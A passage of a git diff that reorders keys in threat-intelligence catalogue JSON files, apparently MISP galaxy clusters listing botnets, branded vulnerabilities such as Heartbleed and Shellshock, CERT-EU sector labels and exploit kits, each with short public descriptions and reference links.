- "description": "The botnet is exploiting the CVE-2018-7600 vulnerability —also known as Drupalgeddon 2— to access a specific URL and gain the ability to execute commands on a server running the Drupal CMS.\nAt the technical level, Netlab says Muhstik is built on top of Tsunami, a very old strain of malware that has been used for years to create botnets by infecting Linux servers and smart devices running Linux-based firmware.\nCrooks have used Tsunami initially for DDoS attacks, but its feature-set has greatly expanded after its source code leaked online.\nThe Muhstik version of Tsunami, according to a Netlab report published today, can launch DDoS attacks, install the XMRig Monero miner, or install the CGMiner to mine Dash cryptocurrency on infected hosts. Muhstik operators are using these three payloads to make money via the infected hosts.",
- "value": "Muhstik",
- "uuid": "8364b00c-46c6-11e8-a78e-9bcc5609574f"
+ "uuid": "8364b00c-46c6-11e8-a78e-9bcc5609574f",
+ "value": "Muhstik"
},
{
+ "description": "Security researchers have discovered the first IoT botnet malware strain that can survive device reboots and remain on infected devices after the initial compromise.\nThis is a major game-changing moment in the realm of IoT and router malware. Until today, equipment owners could always remove IoT malware from their smart devices, modems, and routers by resetting the device.\nThe reset operation flushed the device's flash memory, where the device would keep all its working data, including IoT malware strains.\nBut today, Bitdefender researchers announced they found an IoT malware strain that under certain circumstances copies itself to /etc/init.d/, a folder that houses daemon scripts on Linux-based operating systems —like the ones on routers and IoT devices.\nBy placing itself in this menu, the device's OS will automatically start the malware's process after the next reboot.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/hide-and-seek-becomes-first-iot-botnet-capable-of-surviving-device-reboots/",
@@ -577,43 +582,43 @@
"Hide 'N Seek"
]
},
- "description": "Security researchers have discovered the first IoT botnet malware strain that can survive device reboots and remain on infected devices after the initial compromise.\nThis is a major game-changing moment in the realm of IoT and router malware. Until today, equipment owners could always remove IoT malware from their smart devices, modems, and routers by resetting the device.\nThe reset operation flushed the device's flash memory, where the device would keep all its working data, including IoT malware strains.\nBut today, Bitdefender researchers announced they found an IoT malware strain that under certain circumstances copies itself to /etc/init.d/, a folder that houses daemon scripts on Linux-based operating systems —like the ones on routers and IoT devices.\nBy placing itself in this menu, the device's OS will automatically start the malware's process after the next reboot.",
- "value": "Hide and Seek",
- "uuid": "cdf1148c-5358-11e8-87e5-ab60d455597f"
+ "uuid": "cdf1148c-5358-11e8-87e5-ab60d455597f",
+ "value": "Hide and Seek"
},
{
+ "description": "Command-and-control panel and the scanner of this botnet is hosted on a server residing in Vietnam. Attackers have been utilizing an open-sourced Mettle attack module to implant malware on vulnerable routers.",
"meta": {
"refs": [
"https://thehackernews.com/2018/05/botnet-malware-hacking.html"
]
},
- "description": "Command-and-control panel and the scanner of this botnet is hosted on a server residing in Vietnam. Attackers have been utilizing an open-sourced Mettle attack module to implant malware on vulnerable routers.",
- "value": "Mettle",
- "uuid": "77a308b6-575d-11e8-89a9-3f6a2a9c08bb"
+ "uuid": "77a308b6-575d-11e8-89a9-3f6a2a9c08bb",
+ "value": "Mettle"
},
{
+ "description": "IoT botnet, Mirai variant that has added three exploits to its arsenal. After a successful exploit, this bot downloads its payload, Owari bot - another Mirai variant - or Omni bot.",
"meta": {
"date": "2018",
"refs": [
"https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html"
]
},
- "description": "IoT botnet, Mirai variant that has added three exploits to its arsenal. After a successful exploit, this bot downloads its payload, Owari bot - another Mirai variant - or Omni bot.",
- "value": "WICKED",
- "uuid": "f24ad5ca-04c5-4cd0-bd72-209ebce4fdbc"
+ "uuid": "f24ad5ca-04c5-4cd0-bd72-209ebce4fdbc",
+ "value": "WICKED"
},
{
+ "description": "Brain Food is usually the second step in a chain of redirections, its PHP code is polymorphic and obfuscated with multiple layers of base64 encoding. Backdoor functionalities are also embedded in the code allowing remote execution of shell code on web servers which are configured to allow the PHP 'system' command.",
"meta": {
"date": "2018",
"refs": [
"https://www.proofpoint.com/us/threat-insight/post/brain-food-botnet-gives-website-operators-heartburn"
]
},
- "description": "Brain Food is usually the second step in a chain of redirections, its PHP code is polymorphic and obfuscated with multiple layers of base64 encoding. Backdoor functionalities are also embedded in the code allowing remote execution of shell code on web servers which are configured to allow the PHP 'system' command.",
- "value": "Brain Food",
- "uuid": "f293c553-8b03-40b3-a125-f9ae66a72d99"
+ "uuid": "f293c553-8b03-40b3-a125-f9ae66a72d99",
+ "value": "Brain Food"
},
{
+ "description": "The bot gathers information from the infected system through WMI queries (SerialNumber, SystemDrive, operating system, processor architecture), which it then sends back to a remote attacker. It installs a backdoor giving an attacker the possibility to run command such as: download a file, update itself, visit a website and perform HTTP, SYN, UDP flooding",
"meta": {
"date": "2011",
"refs": [
@@ -624,9 +629,8 @@
"N0ise"
]
},
- "description": "The bot gathers information from the infected system through WMI queries (SerialNumber, SystemDrive, operating system, processor architecture), which it then sends back to a remote attacker. It installs a backdoor giving an attacker the possibility to run command such as: download a file, update itself, visit a website and perform HTTP, SYN, UDP flooding",
- "value": "Pontoeb",
- "uuid": "bc60de19-27a5-4df8-a835-70781b923125"
+ "uuid": "bc60de19-27a5-4df8-a835-70781b923125",
+ "value": "Pontoeb"
},
{
"meta": {
@@ -637,8 +641,8 @@
"Trik Trojan"
]
},
- "value": "Trik Spam Botnet",
- "uuid": "c68d5e64-7485-11e8-8625-2b14141f0501"
+ "uuid": "c68d5e64-7485-11e8-8625-2b14141f0501",
+ "value": "Trik Spam Botnet"
},
{
"meta": {
@@ -649,8 +653,8 @@
"Mad Max"
]
},
- "value": "Madmax",
- "uuid": "7a6fcec7-3408-4371-907b-cbf8fc931b66"
+ "uuid": "7a6fcec7-3408-4371-907b-cbf8fc931b66",
+ "value": "Madmax"
},
{
"meta": {
@@ -658,8 +662,8 @@
"https://labs.bitdefender.com/2013/12/in-depth-analysis-of-pushdo-botnet/"
]
},
- "value": "Pushdo",
- "uuid": "94d12a03-6ae8-4006-a98f-80c15e6f95c0"
+ "uuid": "94d12a03-6ae8-4006-a98f-80c15e6f95c0",
+ "value": "Pushdo"
},
{
"meta": {
@@ -667,8 +671,8 @@
"https://www.us-cert.gov/ncas/alerts/TA15-105A"
]
},
- "value": "Simda",
- "uuid": "347e7a64-8ee2-487f-bcb3-ca7564fa836c"
+ "uuid": "347e7a64-8ee2-487f-bcb3-ca7564fa836c",
+ "value": "Simda"
},
{
"meta": {
@@ -676,8 +680,8 @@
"https://en.wikipedia.org/wiki/Virut"
]
},
- "value": "Virut",
- "uuid": "cc1432a1-6580-4338-b119-a43236528ea1"
+ "uuid": "cc1432a1-6580-4338-b119-a43236528ea1",
+ "value": "Virut"
},
{
"meta": {
@@ -685,8 +689,8 @@
"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/151/beebone-botnet-takedown-trend-micro-solutions"
]
},
- "value": "Beebone",
- "uuid": "49b13880-9baf-4ae0-9171-814094b03d89"
+ "uuid": "49b13880-9baf-4ae0-9171-814094b03d89",
+ "value": "Beebone"
},
{
"meta": {
@@ -699,13 +703,9 @@
"Agent-OCF"
]
},
- "value": "Bamital",
- "uuid": "07815089-e2c6-4084-9a62-3ece7210f33f"
+ "uuid": "07815089-e2c6-4084-9a62-3ece7210f33f",
+ "value": "Bamital"
}
],
- "authors": [
- "Various"
- ],
- "type": "botnet",
- "name": "Botnet"
+ "version": 8
}
diff --git a/clusters/branded_vulnerability.json b/clusters/branded_vulnerability.json
index 2119fd1..1f036e1 100644
--- a/clusters/branded_vulnerability.json
+++ b/clusters/branded_vulnerability.json
@@ -1,7 +1,14 @@
{
+ "authors": [
+ "Unknown"
+ ],
+ "description": "List of known vulnerabilities and attacks with a branding",
+ "name": "Branded Vulnerability",
+ "source": "Open Sources",
+ "type": "branded-vulnerability",
+ "uuid": "93715a12-f45b-11e7-bcf9-3767161e9ebd",
"values": [
{
- "value": "Meltdown",
"description": "Meltdown exploits the out-of-order execution feature of modern processors, allowing user-level programs to access kernel memory using processor caches as covert side channels. This is specific to the way out-of-order execution is implemented in the processors. This vulnerability has been assigned CVE-2017-5754.",
"meta": {
"aliases": [
@@ -11,10 +18,10 @@
"https://upload.wikimedia.org/wikipedia/commons/thumb/5/56/Meltdown_with_text.svg/300px-Meltdown_with_text.svg.png"
]
},
- "uuid": "70bee5b7-0fa3-4a4d-98ee-d8ab787c6db1"
+ "uuid": "70bee5b7-0fa3-4a4d-98ee-d8ab787c6db1",
+ "value": "Meltdown"
},
{
- "value": "Spectre",
"description": "Spectre exploits the speculative execution feature that is present in almost all processors in existence today. Two variants of Spectre are known and seem to depend on what is used to influence erroneous speculative execution. The first variant triggers speculative execution by performing a bounds check bypass and has been assigned CVE-2017-5753. The second variant uses branch target injection for the same effect and has been assigned CVE-2017-5715.",
"meta": {
"aliases": [
@@ -25,10 +32,10 @@
"https://en.wikipedia.org/wiki/File:Spectre_with_text.svg"
]
},
- "uuid": "36168188-6d14-463a-9713-f88764a83329"
+ "uuid": "36168188-6d14-463a-9713-f88764a83329",
+ "value": "Spectre"
},
{
- "value": "Heartbleed",
"description": "Heartbleed is a security bug in the OpenSSL cryptography library, which is a widely used implementation of the Transport Layer Security (TLS) protocol. It was introduced into the software in 2012 and publicly disclosed in April 2014. Heartbleed may be exploited regardless of whether the vulnerable OpenSSL instance is running as a TLS server or client. It results from improper input validation (due to a missing bounds check) in the implementation of the TLS heartbeat extension, thus the bug's name derives from heartbeat. The vulnerability is classified as a buffer over-read,[5] a situation where more data can be read than should be allowed.",
"meta": {
"aliases": [
@@ -38,10 +45,10 @@
"https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Heartbleed.svg/440px-Heartbleed.svg.png"
]
},
- "uuid": "d6d85947-e6ee-4d2e-bb48-437f31c7a270"
+ "uuid": "d6d85947-e6ee-4d2e-bb48-437f31c7a270",
+ "value": "Heartbleed"
},
{
- "value": "Shellshock",
"description": "Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.",
"meta": {
"aliases": [
@@ -53,10 +60,10 @@
"https://cdn-images-1.medium.com/max/1600/1*bopQcJtKouPOJ_isSzanLw.png"
]
},
- "uuid": "2102db77-5a51-40c1-bfc1-38fb7dcb7f05"
+ "uuid": "2102db77-5a51-40c1-bfc1-38fb7dcb7f05",
+ "value": "Shellshock"
},
{
- "value": "Ghost",
"description": "The GHOST vulnerability is a serious weakness in the Linux glibc library. It allows attackers to remotely take complete control of the victim system without having any prior knowledge of system credentials. CVE-2015-0235 has been assigned to this issue.\nDuring a code audit Qualys researchers discovered a buffer overflow in the __nss_hostname_digits_dots() function of glibc. This bug can be triggered both locally and remotely via all the gethostbyname*() functions. Applications have access to the DNS resolver primarily through the gethostbyname*() set of functions. These functions convert a hostname into an IP address.",
"meta": {
"aliases": [
@@ -66,10 +73,10 @@
"https://cdn-images-1.medium.com/max/1600/1*HnCEOo0RUT1fliJjRT02lA.png"
]
},
- "uuid": "a1640081-aa8d-4070-84b2-d23e2ae82799"
+ "uuid": "a1640081-aa8d-4070-84b2-d23e2ae82799",
+ "value": "Ghost"
},
{
- "value": "Stagefright",
"description": "Stagefright is the name given to a group of software bugs that affect versions 2.2 (\"Froyo\") and newer of the Android operating system. The name is taken from the affected library, which among other things, is used to unpack MMS messages. Exploitation of the bug allows an attacker to perform arbitrary operations on the victim's device through remote code execution and privilege escalation. Security researchers demonstrate the bugs with a proof of concept that sends specially crafted MMS messages to the victim device and in most cases requires no end-user actions upon message reception to succeed—the user doesn’t have to do anything to ‘accept’ the bug, it happens in the background. The phone number is the only target information.",
"meta": {
"aliases": [
@@ -87,10 +94,10 @@
"https://cdn-images-1.medium.com/max/1600/1*-Ivm3lZHNaOUwmklT4Rb1g.png"
]
},
- "uuid": "352916e7-62bf-4b0c-bce7-da759d1a4f5f"
+ "uuid": "352916e7-62bf-4b0c-bce7-da759d1a4f5f",
+ "value": "Stagefright"
},
{
- "value": "Badlock",
"description": "Badlock is a security bug disclosed on April 12, 2016 affecting the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) remote protocols[1] supported by Windows and Samba servers.",
"meta": {
"logo": [
@@ -98,10 +105,10 @@
"https://cdn-images-1.medium.com/max/1600/1*EVbwwxEBOU83NKxgQrPG9w.png"
]
},
- "uuid": "74f2bd2c-69f1-4d28-8d42-94b7ef89f31e"
+ "uuid": "74f2bd2c-69f1-4d28-8d42-94b7ef89f31e",
+ "value": "Badlock"
},
{
- "value": "Dirty COW",
"description": "Dirty COW (Dirty copy-on-write) is a computer security vulnerability for the Linux kernel that affects all Linux-based operating systems including Android. It is a local privilege escalation bug that exploits a race condition in the implementation of the copy-on-write mechanism in the kernel's memory-management subsystem. The vulnerability was discovered by Phil Oester. Because of the race condition, with the right timing, a local attacker can exploit the copy-on-write mechanism to turn a read-only mapping of a file into a writable mapping. Although it is a local privilege escalation, remote attackers can use it in conjunction with other exploits that allow remote execution of non-privileged code to achieve remote root access on a computer. The attack itself does not leave traces in the system log.",
"meta": {
"aliases": [
@@ -111,25 +118,25 @@
"https://upload.wikimedia.org/wikipedia/commons/thumb/1/1b/DirtyCow.svg/440px-DirtyCow.svg.png"
]
},
- "uuid": "54196537-cb0c-425c-83d6-437d41b4cc65"
+ "uuid": "54196537-cb0c-425c-83d6-437d41b4cc65",
+ "value": "Dirty COW"
},
{
- "value": "POODLE",
"description": "The POODLE attack (which stands for \"Padding Oracle On Downgraded Legacy Encryptio\") is a man-in-the-middle exploit which takes advantage of Internet and security software clients' fallback to SSL 3.0. If attackers successfully exploit this vulnerability, on average, they only need to make 256 SSL 3.0 requests to reveal one byte of encrypted messages. Bodo Möller, Thai Duong and Krzysztof Kotowicz from the Google Security Team discovered this vulnerability; they disclosed the vulnerability publicly on October 14, 2014 (despite the paper being dated \"September 2014\" ). Ivan Ristic does not consider the POODLE attack as serious as the Heartbleed and Shellshock attacks. On December 8, 2014 a variation of the POODLE vulnerability that affected TLS was announced.",
"meta": {
"aliases": [
"CVE-2014-3566"
]
},
- "uuid": "22b9af72-48c9-4da1-b13d-15667dbdd998"
+ "uuid": "22b9af72-48c9-4da1-b13d-15667dbdd998",
+ "value": "POODLE"
},
{
- "value": "BadUSB",
"description": "The ‘BadUSB’ vulnerability exploits unprotected firmware in order to deliver malicious code to computers and networks. This is achieved by reverse-engineering the device and reprogramming it. As the reprogrammed firmware is not monitored or assessed by modern security software, this attack method is extremely difficult for antivirus/security software to detect and prevent.",
- "uuid": "bc3a3299-1443-4390-8b25-4bb280c1abd7"
+ "uuid": "bc3a3299-1443-4390-8b25-4bb280c1abd7",
+ "value": "BadUSB"
},
{
- "value": "ImageTragick",
"meta": {
"aliases": [
"CVE-2016–3714"
@@ -138,16 +145,9 @@
"https://imagetragick.com/img/logo-medium.png"
]
},
- "uuid": "e85e1270-eec5-4331-8004-a063125a54b4"
+ "uuid": "e85e1270-eec5-4331-8004-a063125a54b4",
+ "value": "ImageTragick"
}
],
- "version": 1,
- "uuid": "93715a12-f45b-11e7-bcf9-3767161e9ebd",
- "description": "List of known vulnerabilities and attacks with a branding",
- "authors": [
- "Unknown"
- ],
- "source": "Open Sources",
- "type": "branded-vulnerability",
- "name": "Branded Vulnerability"
+ "version": 1
}
diff --git a/clusters/cert-eu-govsector.json b/clusters/cert-eu-govsector.json
index d7332c1..9673709 100644
--- a/clusters/cert-eu-govsector.json
+++ b/clusters/cert-eu-govsector.json
@@ -1,37 +1,37 @@
{
- "values": [
- {
- "value": "Constituency",
- "uuid": "8ebd301f-067f-499d-8718-f63c8ced73ac"
- },
- {
- "value": "EU-Centric",
- "uuid": "bf3fd6a1-692e-4d77-b17d-496f71eebac9"
- },
- {
- "value": "EU-nearby",
- "uuid": "536dada1-30e5-453a-9611-33597ab5c373"
- },
- {
- "value": "World-class",
- "uuid": "8024aa5d-d0b0-4114-87c9-92e358c96850"
- },
- {
- "value": "Unknown",
- "uuid": "32f8b3dd-defc-47c8-a070-378f5e0e1be8"
- },
- {
- "value": "Outside World",
- "uuid": "adc80f46-86ef-4de8-95d1-15c45c15d002"
- }
- ],
- "version": 1,
- "uuid": "69351b20-b898-11e7-a2f1-c3e696a74a48",
- "description": "Cert EU GovSector",
"authors": [
"Various"
],
+ "description": "Cert EU GovSector",
+ "name": "Cert EU GovSector",
"source": "CERT-EU",
"type": "cert-eu-govsector",
- "name": "Cert EU GovSector"
+ "uuid": "69351b20-b898-11e7-a2f1-c3e696a74a48",
+ "values": [
+ {
+ "uuid": "8ebd301f-067f-499d-8718-f63c8ced73ac",
+ "value": "Constituency"
+ },
+ {
+ "uuid": "bf3fd6a1-692e-4d77-b17d-496f71eebac9",
+ "value": "EU-Centric"
+ },
+ {
+ "uuid": "536dada1-30e5-453a-9611-33597ab5c373",
+ "value": "EU-nearby"
+ },
+ {
+ "uuid": "8024aa5d-d0b0-4114-87c9-92e358c96850",
+ "value": "World-class"
+ },
+ {
+ "uuid": "32f8b3dd-defc-47c8-a070-378f5e0e1be8",
+ "value": "Unknown"
+ },
+ {
+ "uuid": "adc80f46-86ef-4de8-95d1-15c45c15d002",
+ "value": "Outside World"
+ }
+ ],
+ "version": 1
}
diff --git a/clusters/exploit-kit.json b/clusters/exploit-kit.json
index 6b09251..8603845 100644
--- a/clusters/exploit-kit.json
+++ b/clusters/exploit-kit.json
@@ -1,45 +1,54 @@
{
+ "authors": [
+ "Kafeine",
+ "Will Metcalf",
+ "KahuSecurity"
+ ],
+ "description": "Exploit-Kit is an enumeration of some exploitation kits used by adversaries. The list includes document, browser and router exploit kits.It's not meant to be totally exhaustive but aim at covering the most seen in the past 5 years",
+ "name": "Exploit-Kit",
+ "source": "MISP Project",
+ "type": "exploit-kit",
+ "uuid": "454f4e78-bd7c-11e6-a4a6-cec0c932ce01",
"values": [
{
- "value": "Astrum",
"description": "Astrum Exploit Kit is a private Exploit Kit used in massive scale malvertising campaigns. It's notable by its use of Steganography",
"meta": {
"refs": [
"http://malware.dontneedcoffee.com/2014/09/astrum-ek.html",
"http://www.welivesecurity.com/2016/12/06/readers-popular-websites-targeted-stealthy-stegano-exploit-kit-hiding-pixels-malicious-ads/"
],
+ "status": "Active",
"synonyms": [
"Stegano EK"
- ],
- "status": "Active"
+ ]
},
- "uuid": "e9ca60cd-94fc-4a54-ac98-30e675a46b3e"
+ "uuid": "e9ca60cd-94fc-4a54-ac98-30e675a46b3e",
+ "value": "Astrum"
},
{
- "value": "Bingo",
"description": "Bingo EK is the name chosen by the defense for a Fiesta-ish EK first spotted in March 2017 and targetting at that times mostly Russia",
"meta": {
"status": "Active"
},
- "uuid": "9e864c01-3d9e-4b8d-811e-46471ff866e9"
+ "uuid": "9e864c01-3d9e-4b8d-811e-46471ff866e9",
+ "value": "Bingo"
},
{
- "value": "Terror EK",
"description": "Terror EK is built on Hunter, Sundown and RIG EK code",
"meta": {
"refs": [
"https://www.trustwave.com/Resources/SpiderLabs-Blog/Terror-Exploit-Kit--More-like-Error-Exploit-Kit/"
],
+ "status": "Active",
"synonyms": [
"Blaze EK",
"Neptune EK"
- ],
- "status": "Active"
+ ]
},
- "uuid": "f15f9264-854e-4e25-8641-cde2faeb86e9"
+ "uuid": "f15f9264-854e-4e25-8641-cde2faeb86e9",
+ "value": "Terror EK"
},
{
- "value": "DealersChoice",
"description": "DealersChoice is a Flash Player Exploit platform triggered by RTF.\n\nDealersChoice is a platform that generates malicious documents containing embedded Adobe Flash files. Palo Alto Network researchers analyzed two variants — variant A, which is a standalone variant including Flash exploit code packaged with a payload, and variant B, which is a modular variant that loads exploit code on demand. This new component appeared in 2016 and is still in use.",
"meta": {
"refs": [
@@ -47,30 +56,30 @@
"http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-ramps-up-spear-phishing-before-zero-days-get-patched/",
"https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
],
+ "status": "Active",
"synonyms": [
"Sednit RTF EK"
- ],
- "status": "Active"
+ ]
},
- "uuid": "0f116533-a755-4cfc-815a-fa6bcb85efb7"
+ "uuid": "0f116533-a755-4cfc-815a-fa6bcb85efb7",
+ "value": "DealersChoice"
},
{
- "value": "DNSChanger",
"description": "DNSChanger Exploit Kit is an exploit kit targeting Routers via the browser",
"meta": {
"refs": [
"http://malware.dontneedcoffee.com/2015/05/an-exploit-kit-dedicated-to-csrf.html",
"https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices"
],
+ "status": "Active",
"synonyms": [
"RouterEK"
- ],
- "status": "Active"
+ ]
},
- "uuid": "74fb6a14-1279-4a5b-939a-76478d36d3e1"
+ "uuid": "74fb6a14-1279-4a5b-939a-76478d36d3e1",
+ "value": "DNSChanger"
},
{
- "value": "Disdain",
"description": "Disdain EK has been introduced on underground forum on 2017-08-07. The panel is stolen from Sundown, the pattern are Terror alike and the obfuscation reminds Nebula",
"meta": {
"refs": [
@@ -78,25 +87,25 @@
],
"status": "Active"
},
- "uuid": "1ded776d-6772-4cc8-a27f-f61e24a58d96"
+ "uuid": "1ded776d-6772-4cc8-a27f-f61e24a58d96",
+ "value": "Disdain"
},
{
- "value": "Kaixin",
"description": "Kaixin is an exploit kit mainly seen behind compromised website in Asia",
"meta": {
"refs": [
"http://www.kahusecurity.com/2013/deobfuscating-the-ck-exploit-kit/",
"http://www.kahusecurity.com/2012/new-chinese-exploit-pack/"
],
+ "status": "Active",
"synonyms": [
"CK vip"
- ],
- "status": "Active"
+ ]
},
- "uuid": "e6c1cfcf-3e37-4f5a-9494-989dd8c43d88"
+ "uuid": "e6c1cfcf-3e37-4f5a-9494-989dd8c43d88",
+ "value": "Kaixin"
},
{
- "value": "Magnitude",
"description": "Magnitude EK",
"meta": {
"refs": [
@@ -105,16 +114,16 @@
"http://malware.dontneedcoffee.com/2014/02/and-real-name-of-magnitude-is.html",
"https://community.rsa.com/community/products/netwitness/blog/2017/02/09/magnitude-exploit-kit-under-the-hood"
],
+ "status": "Active",
"synonyms": [
"Popads EK",
"TopExp"
- ],
- "status": "Active"
+ ]
},
- "uuid": "6a313e11-5bb2-40ed-8cde-9de768b783b1"
+ "uuid": "6a313e11-5bb2-40ed-8cde-9de768b783b1",
+ "value": "Magnitude"
},
{
- "value": "MWI",
"description": "Microsoft Word Intruder is an exploit kit focused on Word and embedded flash exploits. The author wants to avoid their customer to use it in mass spam campaign, so it's most often connected to semi-targeted attacks",
"meta": {
"refs": [
@@ -123,10 +132,10 @@
],
"status": "Active"
},
- "uuid": "489acbf2-d80b-4bb5-ac7d-c8573dcb6324"
+ "uuid": "489acbf2-d80b-4bb5-ac7d-c8573dcb6324",
+ "value": "MWI"
},
{
- "value": "ThreadKit",
"description": "ThreadKit is the name given to a widely used Microsoft Office document exploit builder kit that appeared in June 2017",
"meta": {
"refs": [
@@ -134,10 +143,10 @@
],
"status": "Active"
},
- "uuid": "b8be783c-69a8-11e8-adc0-fa7ae01bbebc"
+ "uuid": "b8be783c-69a8-11e8-adc0-fa7ae01bbebc",
+ "value": "ThreadKit"
},
{
- "value": "VenomKit",
"description": "VenomKit is the name given to a kit sold since april 2017 as \"Word 1day exploit builder\" by user badbullzvenom. Author allows only use in targeted campaign. Is used for instance by the \"Cobalt Gang\"",
"meta": {
"refs": [
@@ -145,10 +154,10 @@
],
"status": "Active"
},
- "uuid": "b8be7af8-69a8-11e8-adc0-fa7ae01bbebc"
+ "uuid": "b8be7af8-69a8-11e8-adc0-fa7ae01bbebc",
+ "value": "VenomKit"
},
{
- "value": "RIG",
"description": "RIG is an exploit kit that takes its source in Infinity EK itself an evolution of Redkit. It became dominant after the fall of Angler, Nuclear Pack and the end of public access to Neutrino. RIG-v is the name given to RIG 4 when it was only accessible by \"vip\" customers and when RIG 3 was still in use.",
"meta": {
"refs": [
@@ -157,91 +166,91 @@
"https://www.trustwave.com/Resources/SpiderLabs-Blog/RIG-Exploit-Kit-%E2%80%93-Diving-Deeper-into-the-Infrastructure/",
"http://malware.dontneedcoffee.com/2016/10/rig-evolves-neutrino-waves-goodbye.html"
],
+ "status": "Active",
"synonyms": [
"RIG 3",
"RIG-v",
"RIG 4",
"Meadgive"
- ],
- "status": "Active"
+ ]
},
- "uuid": "0545e5c0-ed0d-4a02-a69d-31e9e2b31e8a"
+ "uuid": "0545e5c0-ed0d-4a02-a69d-31e9e2b31e8a",
+ "value": "RIG"
},
{
- "value": "Sednit EK",
"description": "Sednit EK is the exploit kit used by APT28",
"meta": {
"refs": [
"http://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-using-custom-exploit-kit/",
"http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-flash-zero-day-used-in-pawn-storm-campaign/"
],
+ "status": "Active",
"synonyms": [
"SedKit"
- ],
- "status": "Active"
+ ]
},
- "uuid": "c8b9578a-78be-420c-a29b-9214d09685c8"
+ "uuid": "c8b9578a-78be-420c-a29b-9214d09685c8",
+ "value": "Sednit EK"
},
{
- "value": "Sundown-P",
"description": "Sundown-P/Sundown-Pirate is a rip of Sundown seen used in a private way (One group using it only) - First spotted at the end of June 2017, branded as CaptainBlack in August 2017",
"meta": {
"refs": [
"http://blog.trendmicro.com/trendlabs-security-intelligence/promediads-malvertising-sundown-pirate-exploit-kit/"
],
+ "status": "Active",
"synonyms": [
"Sundown-Pirate",
"CaptainBlack"
- ],
- "status": "Active"
+ ]
},
- "uuid": "3235ae90-598b-45dc-b336-852817b271a8"
+ "uuid": "3235ae90-598b-45dc-b336-852817b271a8",
+ "value": "Sundown-P"
},
{
- "value": "Bizarro Sundown",
"description": "Bizarro Sundown appears to be a fork of Sundown with added anti-analysis features",
"meta": {
"refs": [
"http://blog.trendmicro.com/trendlabs-security-intelligence/new-bizarro-sundown-exploit-kit-spreads-locky/",
"https://blog.malwarebytes.com/cybercrime/exploits/2016/10/yet-another-sundown-ek-variant/"
],
+ "status": "Retired",
"synonyms": [
"Sundown-b"
- ],
- "status": "Retired"
+ ]
},
- "uuid": "ef3b170e-3fbe-420b-b202-4689da137c50"
+ "uuid": "ef3b170e-3fbe-420b-b202-4689da137c50",
+ "value": "Bizarro Sundown"
},
{
- "value": "Hunter",
"description": "Hunter EK is an evolution of 3Ros EK",
"meta": {
"refs": [
"https://www.proofpoint.com/us/threat-insight/post/Hunter-Exploit-Kit-Targets-Brazilian-Banking-Customers"
],
+ "status": "Retired - Last seen 2017-02-06",
"synonyms": [
"3ROS Exploit Kit"
- ],
- "status": "Retired - Last seen 2017-02-06"
+ ]
},
- "uuid": "96b2b31e-b191-43c4-9929-48ba1cbee62c"
+ "uuid": "96b2b31e-b191-43c4-9929-48ba1cbee62c",
+ "value": "Hunter"
},
{
- "value": "GreenFlash Sundown",
"description": "GreenFlash Sundown is a variation of Bizarro Sundown without landing",
"meta": {
"refs": [
"http://blog.trendmicro.com/trendlabs-security-intelligence/new-bizarro-sundown-exploit-kit-spreads-locky/"
],
+ "status": "Active",
"synonyms": [
"Sundown-GF"
- ],
- "status": "Active"
+ ]
},
- "uuid": "6e5c0dbb-fb0b-45ea-ac6c-bb6d8324bbd2"
+ "uuid": "6e5c0dbb-fb0b-45ea-ac6c-bb6d8324bbd2",
+ "value": "GreenFlash Sundown"
},
{
- "value": "Angler",
"description": "The Angler Exploit Kit has been the most popular and evolved exploit kit from 2014 to middle of 2016. There was several variation. The historical \"indexm\" variant was used to spread Lurk. A vip version used notabily to spread Poweliks, the \"standard\" commercial version, and a declinaison tied to load selling (mostly bankers) that can be associated to EmpirePPC",
"meta": {
"refs": [
@@ -249,17 +258,17 @@
"http://malware.dontneedcoffee.com/2015/12/xxx-is-angler-ek.html",
"http://malware.dontneedcoffee.com/2016/06/is-it-end-of-angler.html"
],
+ "status": "Retired - Last seen: 2016-06-07",
"synonyms": [
"XXX",
"AEK",
"Axpergle"
- ],
- "status": "Retired - Last seen: 2016-06-07"
+ ]
},
- "uuid": "5daf41c7-b297-4228-85d1-eb040d5b7c90"
+ "uuid": "5daf41c7-b297-4228-85d1-eb040d5b7c90",
+ "value": "Angler"
},
{
- "value": "Archie",
"description": "Archie EK",
"meta": {
"refs": [
@@ -267,41 +276,41 @@
],
"status": "Retired"
},
- "uuid": "2756caae-d2c5-4170-9e76-2b7f1b1fccb1"
+ "uuid": "2756caae-d2c5-4170-9e76-2b7f1b1fccb1",
+ "value": "Archie"
},
{
- "value": "BlackHole",
"description": "The BlackHole Exploit Kit has been the most popular exploit kit from 2011 to 2013. Its activity stopped with Paunch's arrest (all activity since then is anecdotal and based on an old leak)",
"meta": {
"refs": [
"https://www.trustwave.com/Resources/SpiderLabs-Blog/Blackhole-Exploit-Kit-v2/",
"https://nakedsecurity.sophos.com/exploring-the-blackhole-exploit-kit/"
],
+ "status": "Retired - Last seen: 2013-10-07",
"synonyms": [
"BHEK"
- ],
- "status": "Retired - Last seen: 2013-10-07"
+ ]
},
- "uuid": "e6201dc3-01a7-40c5-ba72-02fa470ada53"
+ "uuid": "e6201dc3-01a7-40c5-ba72-02fa470ada53",
+ "value": "BlackHole"
},
{
- "value": "Bleeding Life",
"description": "Bleeding Life is an exploit kit that became open source with its version 2",
"meta": {
"refs": [
"http://www.kahusecurity.com/2011/flash-used-in-idol-malvertisement/",
"http://thehackernews.com/2011/10/bleeding-life-2-exploit-pack-released.html"
],
+ "status": "Retired",
"synonyms": [
"BL",
"BL2"
- ],
- "status": "Retired"
+ ]
},
- "uuid": "5abe6240-dce2-4455-8125-ddae2e651243"
+ "uuid": "5abe6240-dce2-4455-8125-ddae2e651243",
+ "value": "Bleeding Life"
},
{
- "value": "Cool",
"description": "The Cool Exploit Kit was a kind of BlackHole VIP in 2012/2013",
"meta": {
"refs": [
@@ -309,64 +318,64 @@
